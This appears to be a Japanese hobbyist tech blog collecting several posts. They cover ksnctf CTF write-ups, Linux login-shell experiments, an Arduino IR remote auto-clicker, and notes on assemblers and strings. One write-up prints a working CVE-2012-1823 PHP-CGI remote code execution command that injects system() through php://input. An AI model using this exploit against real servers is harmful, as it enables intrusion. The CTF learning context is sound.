【Javascript】サイトのファビコンURLを取得する
概要
ファビコン(favicon)とは
やり方
想定環境
- javascript
- favicon画像のurlは
<HEAD>
配下に<link rel="shortcut icon" href="アイコンのURI" >
として書かれている - 以下コードを取得したいサイトで実行するとファビコンを取得できる
コード
//ファビコンURL取得 function favi() { //favicon画像のurlはhtml内のhead->linkタグの属性relがshortcut iconのhref値に記載されている for (var i = 0;i < document.head.getElementsByTagName('link').length ;i++){ if (document.head.getElementsByTagName('link')[i].getAttribute('rel') === "shortcut icon"){ var favicon_url = document.head.getElementsByTagName('link')[i].getAttribute('href'); break; } else { var favicon_url = ''; console.log("取得NG"); } }; console.log(favicon_url); };
その他
URLが相対パスの場合は少し工夫する必要あり。
chrome extensionなどjavascriptを後から挿入する場合に使える。
chrome apiでもっと簡単に取れる方法があるなら教えて欲しい。
ログインシェルで遊ぶ
FTPの設定をしたときに、
/usr/sbin/nologinについて調べたら色々面白かったので簡単に実験してみた。
/usr/sbin/nologinは/etc/nologin.txtを読み込む
らしい。読み込んで表示した後はexitされる。
しかし/etc/nologin.txt
などというファイルは存在しなかった。
なので試しに、自分でファイルを作成してみた。
そしてログインしてみる。
期待した通りのことができた。
これでサーバに不正にログインしようとした人を「ドキッ!」とさせることができる。
ログインシェルを別のコマンドに変える
ログインシェルは/etc/passwd
に書かれたものが実行される特性を利用して、
別のコマンドを起動してみた。
ログインシェルを
/usr/bin/w
に変更(ログインユーザをみるコマンド)。
/usr/bin/w
が実行され、ログインユーザが表示された。
ログインシェルを空白にする
本来は記載されているログインシェルを空白にしてみた。
するとsh
が起動した。これは意外。
なのでログインシェルを起動させたくない場合は、/usr/sbin/nologin
か/usr/bin/false
をちゃんと明記した方が良いということがわかった。
感想
ログインシェル面白い。
自分でコンパイルした実行ファイルなどを指定したらもっと面白いことができそう。
ksnctf #35 Simple Auth II
問題
解き方
ソースコードが見れるので確認する。
PHPのソースコードはよくわからないが、以下のような記載があった。
$db = new PDO('sqlite:database.db');
DBの場所が記載されているので、URLから直接ダウンロードしてみる。
ttp://ctfq.sweetduet.info:10080/~q35/database.db
DBの中身を確認
SQLiteのDBのようなので接続してみる。
# Macの場合 ~ ❯❯❯ sqlite3 Downloads/database.db ⏎ SQLite version 3.16.0 2016-11-04 19:09:39 Enter ".help" for usage hints. sqlite> .tables user user2 sqlite> select * from user; root|FLAG_*****************←ここにFLAG sqlite> select * from user2; root|GLDmNFJimveAAxyg_wSNp sqlite>
その他
SQLインジェクションの問題だと思ったら違った。
参考
セキュリティコンテストチャレンジブック -CTFで学ぼう! 情報を守るための戦い方-
- 作者: 碓井利宣,竹迫良範,廣田一貴,保要隆明,前田優人,美濃圭佑,三村聡志,八木橋優,SECCON実行委員会
- 出版社/メーカー: マイナビ出版
- 発売日: 2015/09/30
- メディア: 単行本(ソフトカバー)
- この商品を含むブログ (4件) を見る
- 作者: 清水祐太郎,竹迫良範,新穂隼人,長谷川千広,廣田一貴,保要隆明,美濃圭佑,三村聡志,森田浩平,八木橋優,渡部裕,SECCON実行委員会
- 出版社/メーカー: マイナビ出版
- 発売日: 2017/07/28
- メディア: 単行本(ソフトカバー)
- この商品を含むブログ (1件) を見る
体系的に学ぶ 安全なWebアプリケーションの作り方[固定版] 脆弱性が生まれる原理と対策の実践
- 作者: 徳丸浩
- 出版社/メーカー: SBクリエイティブ
- 発売日: 2013/08/14
- メディア: Kindle版
- この商品を含むブログを見る
闇のゲームを攻略した
序章
帰宅すると嫁がテレビに向かって無表情でリモコンの"決定"ボタンを連打してた。
何事かと思ったら、期間限定でABC朝日放送※のデータ放送(dボタン)を見ると、ABCeeiSLOTとというミニゲームができるようだった。
※関西のテレビ局
ミニゲームでコインを1000枚集めるとQUOカード一年分ゲットに応募できるチャンスがもらえるらしい。
嫁はスロットが当たるたびに、「やった」と小さくつぶやくと、また無表情でボタンを連打した。
嫁はテレビ番組を見ていなかった。 テレビ局の狙いはゲームをやりながら番組を見てもらい、視聴率やファンを増やすことだったと思うが、私や嫁はもともとABC朝日放送は好きなのでミニゲームがなくても見ている。今の嫁は番組を見ていないのでマイナス効果である。
妻は長時間ボタンを連打したため少し疲れていた。
私は妻の精神的な負担と、全国のリモコンの決定ボタンの塗装が心配になった。
おそらく他のご家庭でも同じ問題が発生しているだろう。
1000コインという頑張れば到達できそうな数字は実は最低でも3時間以上は連打しないといけないゲームだなんて…
これは闇のゲームだ…。
私はエンジニアの端くれとして、この闇のゲームを攻略し、関西の家庭の平和を守るべく立ち上がった。
技術章
リモコンから出ている赤外線を別の装置から連続して送信し続ける装置
=全自動「決定ボタン」連打機を作ることにした。
キャプチャ編
テレビの「決定ボタン」の赤外線信号がどんなものを送っているかわからないため、赤外線受光器を使ってキャプチャし、その信号を送信に使う。
赤外線受光器はこんなこともあろうかと半年前に秋月で20円で購入したものを使った。
電気回路の制御にはArduinoを使った。
- 出版社/メーカー: スイッチサイエンス
- メディア: Personal Computers
- 購入: 2人 クリック: 15回
- この商品を含むブログを見る
Arduinoをはじめよう 第3版 (Make:PROJECTS)
- 作者: Massimo Banzi,Michael Shiloh,船田巧
- 出版社/メーカー: オライリージャパン
- 発売日: 2015/11/28
- メディア: 単行本(ソフトカバー)
- この商品を含むブログ (4件) を見る
これも5年前に自由研究用に買ったもの。 いまだにたまに使うので重宝する。
赤外線の受信方法は以下サイトを参考にした。
しかし以下のようなコンパイルエラーが出る。
receve:49: error: 'class decode_results' has no member named 'panasonicAddress' Serial.print(results->panasonicAddress,HEX); ^ exit status 1 'class decode_results' has no member named 'panasonicAddress'
panasonicAddress関数が見つからないと怒られるので、 以下のように書き換えてその場を凌ぐ。
//IRremoteライブラリのサンプルプログラム //// ~~~~ 47行目から else if (results->decode_type == PANASONIC) { Serial.print("Decoded PANASONIC - Address: "); //Serial.print(results->panasonicAddress,HEX); ←エラーがでるのでコメントアウト Serial.print(HEX); //←受信結果を16進数でとりあえず表示 Serial.print(" Value: "); ////~~~~
送信編
赤外線は赤外線用LEDから送る。 電気回路の制御もArduinoを使う。
詰まったところ
①回路がわからない
送信サンプルコードを見ると、Arduinoのどのピンから電流を流すのか指定していなかった。
上部で指定しているライブラリ(IRremote.h)の中に記載されていると思い、
ライブラリコードの中を30分は迷走したがよくわからない。
こんな簡単なこともできないのかと自分に絶望していると、サンプルコードに
* An IR LED must be connected to Arduino PWM pin 3.
と書いてあった。あほすぎる。。。
②IRsend関数がわからない
Arduinoには赤外線用のライブラリ(IRremote.h)があり、それを使うと簡単に送信できるようだが、
中で定義されてる関数の意味がわからずエラー連発だった。
最終的には
Sonyのリモコンでの電源オフ信号を送信するサンプルを参考にPanasonic用の関数(irsend.sendPanasonic)を見つける
Panasonic用の関数が含まれるサンプルコードを漁る。
サンプルコードからPanasonic共通のPanasonicAddress値を見つける。
上記値とサンプリングした受信信号(HEX)を関数に入れる。
これでようやく動いた。
完成品
コード
#include <IRremote.h> IRsend irsend; void setup() { } void loop() { irsend.sendPanasonic(0x4004, 0x1009293); //決定ボタン delay(2000); }
今回はわざわざ赤外線を物理的にキャプチャしたけれども、
ボタンの情報はここに載っていた。
memento mori: Arduinoと赤外線LEDでPanasonicのテレビをリモコン操作できた
回路
やっていることはLチカとかわらない。
回路はすごくシンプル。
終章
仕事から帰って作業に取りかかり3時間かけて完成した。 時計は深夜の1時を回っていた。
装置を使う直前は293コインであり、3時間ほど妻が連打した成果がそこにあった。
1000コインまでどんだけ道のりは長いんだ、、、。
もしかしたらこの装置を使っても時間内に1000コイン貯まらないかもしれない。
そう思いながら完成した回路をテレビの前にセットし、私は疲れて寝てしまった。
そして次の日テレビを見ると…
やりすぎた。
余談
どんだけポイントをゲットしても応募できるチャンスは各賞一人一回まででだった。
しかしこれで関西の家庭からボタンの連打音をなくし、笑顔と会話を取り戻せたのならよしとする。
ksnctf #12 Hypertext Preprocessor
問題
ページを開いただけではよくわからない。
解き方
とりあえずグーグル先生に出てきた数字を聞いてみる。
すると徳丸先生の脆弱性情報が出てきた。
なるほど。数字の先頭の2012:1823はCVE(脆弱性番号)で、 phpの脆弱性らしい。
試しに、URLのクエリ文字列に「?-s」をつけるとソースコードが出てきた。 http://ctfq.sweetduet.info:10080/~q12/?-s
ソースコードを見ると丁寧に「// Flag is in this directory.」と書かれているので、 次はOSインジェクションを試してみる。
「-d」をつけると任意のPHPコードが実行できるようなので、 参考サイトみながらちょろっとコードを書いて実行してみたらフラグをゲットできた。
# bash echo "<?php system('ls -al'); exit(); ?>" | POST "http://ctfq.sweetduet.info:10080/~q12/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
その他
初めはBurpを使ってクエリを書き換えていたが、bashから実行する方法がネットに載っていたので最終的にbashで答えを見つけた。
burpの使い方は慣れていないので練習が必要。
PHPの知識がなくても簡単にOSインジェクションができてしまったが、 PHPの勉強もしたい。
参考
CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823) | 徳丸浩の日記
CGI版PHPに対する魔法少女アパッチマギカ攻撃を観測しました | 徳丸浩の日記
https://pentesterlab.com/exercises/cve-2012-1823/course
体系的に学ぶ 安全なWebアプリケーションの作り方[固定版] 脆弱性が生まれる原理と対策の実践
- 作者: 徳丸浩
- 出版社/メーカー: SBクリエイティブ
- 発売日: 2013/08/14
- メディア: Kindle版
- この商品を含むブログを見る
ksnctf #17 Math II
問題
ksnctf.sweetduet.info xを満たすyがFLAGらしい。
解き方
問題を見たときはモジュロ演算なんて言葉は知らなかったけど、取りあえず累乗根を単純に計算するだけだと思った。
ささっと計算してみたらオーバーフローしてうまく動かない。
多分これは私の書き方とかそもそも論で何か間違っているのだろう。
y = pow (x,(1.00/101.00)) OverflowError: long int too large to convert to float
どうすればいいのか調べていたら二分探索で解を得るのがベターらしい。
二分探索をやってみる
二分探索はここを参考にした。 codezine.jp
二分探索と聞いたときは「基本情報でなんか見たかも」ぐらいな感じで、使ったことは一回もなかった。
# python3 import math x = ここに問題文の値を入れる y_min = 0 y_max = 10 ** 300 #ここは適当 y_jou = 101 for num in range(0,2000): # 2000も適当 mid = ( y_min + y_max ) // 2 dy = pow (mid , y_jou) if dy == x: print (mid) break elif dy > x: y_max = mid print ("大きすぎ") elif dy < x: y_min = mid print ("小さすぎ") keta = int(math.log10(mid)+1) print (str(num) + ": " + str(keta) + "桁")
なんとなくやっていることを理解して、雰囲気で実装してみたけど一応答えはでた。
その他
問題に書かれていたモジュロ演算はRSA暗号で使われているらしい。
※RSA暗号は公開鍵暗号の一つ
参考
はやわかり RSA
法とモジュロ – まいとう情報通信研究会
RSA暗号
- 作者: 辻真吾
- 出版社/メーカー: 技術評論社
- 発売日: 2016/10/12
- メディア: Kindle版
- この商品を含むブログを見る
ksnctf #3 Crawling Chaos
前回に引き続きCTFの問題を解いていきます。
www.cyamax.com
問題
ksnctf.sweetduet.info 100pt
適当に入力すると以下のようにでます。
解き方
ソースコードを見てみる。
Chromeのデベロッパーモードでソースコードを見てみると、headのscript内に謎のコードを発見。
console.logを見てもエラーが発生していないので、正しく認識されている。
これを解析する必要がある。
node.jsで開いてみる。
デベロッパーツールのままでは調査しづらいので、
「(ᒧᆞωᆞ).ᒧうーー=(〳ᆞωᆞ).〳にゃーー」のスクリプトを別ファイルに切り出してnode unya.js
として実行してみた。
すると
undefined:2 $(function(){$("form").submit(function(){var t=$('input[type="text"]').val();var p=Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);var f=false;if(p.length==t.length){f=true;for(var i=0;i<p.length;i++)if(t.charCodeAt(i)*(i+1)!=p[i])f=false;if(f)alert("(」・ω・)」うー!(/・ω・)/にゃー!");}if(!f)alert("No");return false;});}); ^ ReferenceError: $ is not defined at eval (eval at <anonymous> (/Users/takanori/Desktop/jquerry/u.js:1:17299), <anonymous>:2:1) at Object.<anonymous> (/Users/takanori/Desktop/jquerry/u.js:1:17333) at Module._compile (module.js:569:30) at Object.Module._extensions..js (module.js:580:10) at Module.load (module.js:503:32) at tryModuleLoad (module.js:466:12) at Function.Module._load (module.js:458:3) at Function.Module.runMain (module.js:605:10) at startup (bootstrap_node.js:158:16) at bootstrap_node.js:575:3
と表示された。
$ is not defined
についてはJQueryを読み込んでいないのでエラーが出たが、
それ以外の部分はソースがデコードされた内容で表示された。
ソースを解析する
上記でデコードされた内容を見やすく改行すると以下のようになった。
$(function () { $("form").submit(function () { var t = $('input[type="text"]').val(); var p = Array(70, 152, 195, 284, 475, 612, 791, 896, 810, 850, 737, 1332, 1469, 1120, 1470, 832, 1785, 2196, 1520, 1480, 1449); var f = false; if (p.length == t.length) { f = true; for (var i = 0; i < p.length; i++) if (t.charCodeAt(i) * (i + 1) != p[i]) f = false; if (f) alert("(」・ω・)」うー!(/・ω・)/にゃー!"); } if (!f) alert("No"); return false; }); });
そして一番大事なのは
if (t.charCodeAt(i) * (i + 1) != p[i]) f = false;
の部分。
入力された文字(t)の左からi番目の文字をUTF-16の整数に変換(charCodeAt)して、
その変換した数字に*(i + 1)した値がp[i]と一致しなかった場合にfalseを返すというコードになっていました。
正しい値(FLAG)をフォーム(t)に入れれば
if (f) alert("(」・ω・)」うー!(/・ω・)/にゃー!");
が実行されます。
つまりtの値を求めれば、それすなわちFLAGになるので、
pの値からtを求めます。
t.charCodeAt(i) * (i + 1) != p[i]
より
t[i] = String.fromCharCode( p[i] / ( i +1 ) )
で求めることができそうです。
※String.fromCharCodeはcharCodeAtの逆。UTF-16の整数から文字を求める String.fromCharCode() - JavaScript | MDN
実装
問題のソースを参考に以下のようにJavascriptを書きました。
// javascript flag.js var flag = ""; var o = ''; var p = Array(70, 152, 195, 284, 475, 612, 791, 896, 810, 850, 737, 1332, 1469, 1120, 1470, 832, 1785, 2196, 1520, 1480, 1449); for (var i = 0; i < p.length; i++) { //pの値から本来入力するべき値を逆算する var o = p[i] / (i + 1); //Strings.fromCode(o)でoの数値をUnicodeの文字に戻す var flag = flag + String.fromCharCode(o); }; console.log(flag);
これをnode flag.js
で実行するとFLAGがゲットできます。
その他
記号だけでJavascriptが動く理由。
http://perl-users.jp/articles/advent-calendar/2010/sym/3
エンコードの説明。
http://d.hatena.ne.jp/kusano_k/touch/20120421/1335006525
アセンブラ・アセンブリ・アセンブルの違い
コンピュータの世界における アセンブラ・アセンブリ・アセンブルがややこしいのでまとめました。
まとめ
荒っぽくまとめると以下の通り。
アセンブラ・・・変換するソフト
アセンブリ・・・言語
アセンブル・・・バイナリに変換すること
アセンブラ(assembler)
アセンブリ言語で書いたプログラムを
機械語に変換するプログラム(ソフト)のこと。
英語ではassemblerなので、
assemble(変換)+er(者)で変換をしてくれる者のこと。
アセンブリ(assembly)
機械語と一対一の関係にある低水準言語のこと。
アセンブリ言語(アセンブラ言語)と呼ばれる。
※反対に、高水準言語でC言語やPythonなどがある
言語自体は
MOV AX , FF
などと書かれている。
このままでは実行できない。
アセンブル(assemble)
アセンブリをバイナリファイルに変換(コンパイルとも言う)すること。
アセンブリ言語MOV AX , FF
ー変換(アセンブル)→ B8FF00
バイナリ
となる。
※引用 アセンブリとは
参考
stringsでなぜprintfが見えるのか
Linuxへの理解を深めるため、最近CTFの問題を解いています。
CTFの回答を見ていると実行ファイル(バイナリ)に対してstrings
コマンドを実行して、その中にpritnf
があるから書式文字列攻撃を試して・・・と書いてありました。
全く意味がわからなかったので、調べたことのメモになります。
そもそもstringsとは
Linuxのコマンド 。 指定したファイル中の表示可能な文字列を表示します。 バイナリファイルやデータファイルの内容を判断するために利用します。
strings実行例
実行するとHello world!
と表示されるファイルを用意します。
$ ./main Hello world!
この実行ファイルをstirngsで見てみます。
※stringsはデフォルトではファイルの先頭しか見ないので、オプションの-
をつけることでファイル全体から文字を検索します。
$ strings - main __PAGEZERO __TEXT __text __TEXT __stubs __TEXT __stub_helper __TEXT __cstring __TEXT __unwind_info __TEXT __DATA __nl_symbol_ptr __DATA __la_symbol_ptr __DATA __LINKEDIT /usr/lib/dyld /usr/lib/libSystem.B.dylib Hello world! @dyld_stub_binder @_printf _mh_execute_header !main __mh_execute_header _main _printf dyld_stub_binder
stringsは実行ファイル中に存在する文字だけを抽出してくれるのがメリットです。
※lessやcatで実行ファイルを見てもノイズが多くて見にくい
実行ファイル(バイナリ)って変数名とか見れないんじゃないの?
私の認識では高級言語のソースコードをコンパイルしたら変数名や関数は機械語に変換されるため、stringsコマンドでバイナリを見てももちろんソースコードは出てこないし、関数名・変数も機械の都合の良い名前に変換されていると思っていました。
なので例えばint hoge=1111
なんてコードを書いても、コンパイル後はint
はアセンブリ言語のMOV
かなにかに変換されて、変数名hoge
も別の何かに変換されて跡形もなくなると思っていました。
なのでstrings
コマンドで実行ファイルを覗いても、ソースコードの関数は見えないはず(=printfは出てこない)では?と思い混乱しました。
実際にコンパイルしてみた
やってみないとわからないので、
試しに以下のコードを書いてコンパイルしてみました。
C言語でテスト
/* test.c */ #include <stdio.h> int test(){ int hensu = 1111; printf("変数の中身は%dです\n",hensu); return 0; } int main(){ printf("Hello world!\n"); test(); return 0; }
上記コードを保存(test.cなど)して以下コマンドでオブジェクトファイルの作成をします。
gcc -o test.c
するとtest.o
が生成されるので、今回はこれをstrings
で覗きます。
strings結果
MacBook-Pro:Desktop takanori$ strings - test2.o __text __TEXT __cstring __TEXT __compact_unwind__LD __eh_frame __TEXT Hello world! _test _main _printf
たしかにprintf
が拾えてる!
まとめ
上記の検証から
変数名hensu
はコンパイル後stringsで見えない。
関数名main
,test
,printf
は見えることがわかった。
どうやら変数名(hensu)や既存の関数(intなど)はコンパイルされると跡形もなくなりますが、自分で作った関数main
,test
や外部の関数printf
はそのまま変換されずに残るようです。
ただし残るといっても関数名が残っているだけで、関数内部の処理はコンパイル済みであり、あくまでも関数の名前の部分だけがそのまま残るみたいです。
ここまで調べるのに結構時間がかかりましたが、最後まとめているときに逆コンパイルについてまとめているサイトを見つけました。これを初めから見ていえればこんなに時間がかからなかったのに・・・
とはいえ、今までわかっていなかったコンパイルの流れや実行ファイルの仕組みを理解できたのは非常に有益でした。
特にコンパイルには広義・狭義の意味があったり、アセンブラ・アセンブリ・アセンブルの違いなども調べていくうちに理解できたので、興味がある人は調べてみてはいかがでしょうか。
参考書籍
セキュリティコンテストチャレンジブック -CTFで学ぼう! 情報を守るための戦い方-
- 作者: 碓井利宣,竹迫良範,廣田一貴,保要隆明,前田優人,美濃圭佑,三村聡志,八木橋優,SECCON実行委員会
- 出版社/メーカー: マイナビ出版
- 発売日: 2015/09/30
- メディア: 単行本(ソフトカバー)
- この商品を含むブログ (4件) を見る
- 作者: 清水祐太郎,竹迫良範,新穂隼人,長谷川千広,廣田一貴,保要隆明,美濃圭佑,三村聡志,森田浩平,八木橋優,渡部裕,SECCON実行委員会
- 出版社/メーカー: マイナビ出版
- 発売日: 2017/07/28
- メディア: 単行本(ソフトカバー)
- この商品を含むブログ (1件) を見る
参考サイト
ksnctf #2 Easy Cipher
スキルアップのためにCTF(キャッチ・ザ・フラグ)にチャレンジしてみました。
問題
EBG K VVV vf n fvzcyr yrggre fhofgvghgvba pvcure gung ercynprf n yrggre jvgu gur yrggre KVVV yrggref nsgre vg va gur nycunorg. EBG KVVV vf na rknzcyr bs gur Pnrfne pvcure, qrirybcrq va napvrag Ebzr. Synt vf SYNTFjmtkOWFNZdjkkNH. Vafreg na haqrefpber vzzrqvngryl nsgre SYNT.
ただ意味のわからないアルファベットが並んでいますが、
これを各々推測して中に含まれているフラグ(FLAG_******)をゲットするのが問題の意図です。
CTFの問題はバイナリ解析やプログラムの脆弱性を突くものなどもあり、様々なスキルが求められます。
解き方
仮説を立てる
Easy Cipher = 「簡単な暗号」
問題文を見ると文字の区切り方が英文に似ています。
アルファベットを別文字に入れ替えたような暗号と仮定して一旦解いてみます。
vf → is ?
n → a ?
SYNT → FLAG ?
上記の仮定でそれぞれ文字を置換してみます。
実装
置換はjavascriptで実装してみます。
// easy_cipher.js var i = "EBG KVVV vf n fvzcyr yrggre fhofgvghgvba pvcure gung ercynprf n yrggre jvgu gur yrggre KVVV yrggref nsgre vg va gur nycunorg. EBG KVVV vf na rknzcyr bs gur Pnrfne pvcure, qrirybcrq va napvrag Ebzr. Synt vf SYNTFjmtkOWFNZdjkkNH. Vafreg na haqrefpber vzzrqvngryl nsgre SYNT."; // まずはSYNT→FLAGにしてみる i = i.replace(/F/ig,"1");//Fを1に変換。igのiは大文字小文字の区別しない、gは全文字に適応の意味(gがないと一文字置換して終わってしまう) i = i.replace(/S/ig,"F"); i = i.replace(/L/ig,"2"); i = i.replace(/Y/ig,"L"); i = i.replace(/A/ig,"3"); i = i.replace(/N/ig,"A"); i = i.replace(/G/ig,"4"); i = i.replace(/T/ig, "G"); //S(暗号)→F(復号)など変換をかけるときに、もともとのF(暗号)とF(復号)が文中に混ざってしまうため、一旦数字に置換させています console.log(i);
これをnode.jsで実行。
$ node easy_cipher.js
EB4 KVVV v1 A 1vzcLr Lr44re 1ho14v4h4vb3 pvcure 4uA4 ercLApr1 A Lr44re jv4u 4ur Lr44re KVVV Lr44re1 AF4re v4 v3 4ur ALcuAor4. EB4 KVVV v1 A3 rkAzcLr bF 4ur PAr1Ae pvcure, qrirLbcrq v3 A3pvr34 Ebzr. FLAG v1 FLAG1jmGkOW1AZdjkkAH. V31re4 A3 h3qre1pber vzzrqvA4rL2 AF4re FLAG.
だんだん英文っぽくなってきました。
このあとも最初の予想通りvf→is
でn→a
でうまく行きそうです。
ただ、このまま一つずつすべてのアルファベットでreplaceを入力していくのは面倒。
もしかして問題はもっと単純でないかと。 アルファベットがそれぞれバラバラに何かの単語に入れ替わったのではなく、 何かの規則性をもって置換されていると推測してみます。
ここでGoogle先生に「アルファベット 暗号化」で聞いてみます。
すると「シーザー暗号」という暗号化方法が上位に出てきました。
SYNT→FLAGの仮定が正しいとするならば、アルファベットを13シフトしたものが復号化となります。
自分でコードを書くのはしんどいので、Google先生に聞いてみると良い感じのサイトがありました。
多言語シーザー暗号(Universal Caesar cipher)
ここで13シフトで復号すると問題の答えが出てきました。
※ただしちゃんと英語を読まないと正解にならない
コードで解く
せっかくなのでJSでシーザー暗号を解けないかと検索したらすでにありました。
上記のサイトを参考に書き直すと
var i = "EBG KVVV vf n fvzcyr yrggre fhofgvghgvba pvcure gung ercynprf n yrggre jvgu gur yrggre KVVV yrggref nsgre vg va gur nycunorg. EBG KVVV vf na rknzcyr bs gur Pnrfne pvcure, qrirybcrq va napvrag Ebzr. Synt vf SYNTFjmtkOWFNZdjkkNH. Vafreg na haqrefpber vzzrqvngryl nsgre SYNT."; function rot13(str) { return str.replace(/[A-Z]/g, (L) => String.fromCharCode(65 + (L.charCodeAt(0) - 65 + 13) % 26)); }; console.log(rot13(i));
こんなに綺麗に書けるんですね。
またシーザー暗号で13文字ずらすのは「ROT13」
という暗号化のようです。いろいろ勉強になりました。